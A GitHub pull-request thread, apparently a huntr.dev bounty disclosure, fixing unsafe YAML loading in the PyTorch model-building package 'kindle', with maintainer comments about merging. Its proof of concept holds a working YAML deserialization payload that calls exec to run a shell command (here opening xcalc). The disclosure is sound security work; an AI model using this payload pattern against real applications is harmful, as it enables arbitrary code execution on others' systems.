Security Fix for Arbitrary Code Execution - huntr.dev

huntr-helper commented 3 years ago

@Anon-Artist (https://huntr.dev/users/Anon-Artist) has fixed a potential Arbitrary Code Execution vulnerability in your repository 🔨. For more information, visit our website (https://huntr.dev/) or click the bounty URL below...

User Comments:

📊 Metadata *

Kindle is an easy model build package for PyTorch. Building a deep learning model became so simple that almost all model can be made by copy and paste from other existing model codes, which is vulnerable to Arbitary Code Execution.

Bounty URL: https://www.huntr.dev/bounties/1-pip-kindle

⚙️ Description *

Vulnerable to YAML deserialization attack caused by unsafe loading.

💻 Technical Description *

Fixed by avoiding unsafe loader.

🐛 Proof of Concept (PoC) *

Installation

pip3 install kindle

Run exploit.py

import os
#os.sysem('pip3 install kindle')
from kindle.generator import custom_yaml_module
payload = """cmd: !!python/object/new:type
  args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
  listitems: "__import__('os').system('xcalc')"
"""
open('config.yml','w+').write(payload)
custom_yaml_module.YamlModuleGenerator('config.yml')

python3 exploit.py

kindle

xcalc will pop up.

🔥 Proof of Fix (PoF) *

After fix Arbitary Code execution will never happen.

👍 User Acceptance Testing (UAT)

After fix functionality is unaffected.

🔗 Relates to...

https://www.huntr.dev/bounties/1-pip-kindle

Anon-Artist commented 3 years ago

Why this fix is not merging @JeiKeiLim is there any issues Thanks

JeiKeiLim commented 3 years ago

Why this fix is not merging @JeiKeiLim is there any issues Thanks

Github Action is required to merge but I forgot to add PR trigger. I'm going to close and re-open this PR to see if GitHub Action runs.

JeiKeiLim commented 3 years ago

Why this fix is not merging @JeiKeiLim is there any issues Thanks

Github Action is required to merge but I forgot to add PR trigger. I'm going to close and re-open this PR to see if GitHub Action runs.

Github Action is running now. I will merge when it's done!

Anon-Artist commented 3 years ago

I hope everything will be okay thanks @JeiKeiLim

JeiKeiLim commented 3 years ago

I hope everything will be okay thanks @JeiKeiLim

Thank you for the PR!

JeiKeiLim / kindle